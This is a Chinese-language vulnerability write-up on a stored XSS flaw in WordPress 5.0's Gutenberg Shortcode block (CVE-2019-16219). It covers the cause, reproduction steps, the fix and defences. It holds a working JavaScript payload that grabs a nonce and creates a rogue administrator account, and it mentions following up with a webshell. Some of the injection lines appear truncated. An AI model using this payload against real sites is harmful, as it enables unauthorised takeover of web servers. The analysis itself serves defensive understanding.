浅析WordPress5.0存储型XSS漏洞
字数 1149 2025-08-26 22:11:14
WordPress 5.0存储型XSS漏洞分析与防御指南
漏洞概述
WordPress 5.0至5.0.4版本中存在一个严重的存储型跨站脚本(XSS)漏洞(CVE-2019-16219),该漏洞源于WordPress 5.0引入的新编辑器Gutenberg对Shortcode错误消息处理不当,未能正确过滤JavaScript/HTML代码。
受影响版本
- WordPress 5.0至5.0.4
- WordPress 5.1和5.1.1版本
漏洞原理
-
Shortcode处理缺陷:当用户在Shortcode块中添加HTML编码字符(如"<")时,WordPress在重新打开帖子时会显示错误消息,并将"<"解码为"<"进行预览。
-
XSS过滤器绕过:攻击者可以利用这一特性注入恶意JavaScript代码,如:
"> -
存储型攻击:恶意代码会被存储在数据库中,当其他用户(包括管理员)查看受感染页面时,代码会在其浏览器中执行。
漏洞复现步骤
- 以投稿者(Contributor)或更高权限用户身份登录WordPress
- 创建或编辑一篇帖子,添加Shortcode块
- 在Shortcode块中插入HTML编码字符或恶意XSS代码
- 保存并发布帖子
- 当其他用户查看该帖子时,XSS代码将被执行
攻击场景
基本XSS攻击
">
高级攻击 - 添加管理员账户
攻击者可托管恶意JavaScript文件(wpaddadmin.js),内容如下:
// 获取当前nonce值
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wordpress/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
// 使用获取的nonce创建管理员账户
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
然后注入以下代码加载并执行恶意脚本:
">
后续攻击
- 攻击者可以使用新创建的管理员账户登录
- 编辑现有PHP文件插入Webshell
- 完全控制Web服务器
漏洞修复
WordPress在wp-includes/js/dist/block-library.js中修复了此漏洞:
- 修复前:shortcode的attributes属性中source值为'text',前端页面会解析shortcode中的<值为<,导致HTML闭合
- 修复后:shortcode的attributes属性中source值改为'html',前端脚本不再解析<
防御措施
- 立即升级:将WordPress升级到最新版本
- 权限控制:严格限制投稿者(Contributor)及以上权限用户
- 输入过滤:对所有用户输入进行严格的HTML/JavaScript过滤
- 输出编码:在显示用户生成内容时进行适当的编码
- CSP策略:实施内容安全策略(Content Security Policy)限制脚本执行
总结
此漏洞展示了存储型XSS的高危性,特别是当攻击目标为高权限用户时,可能导致整个系统沦陷。网站管理员应保持WordPress及其插件/主题的及时更新,并实施深度防御策略以降低此类风险。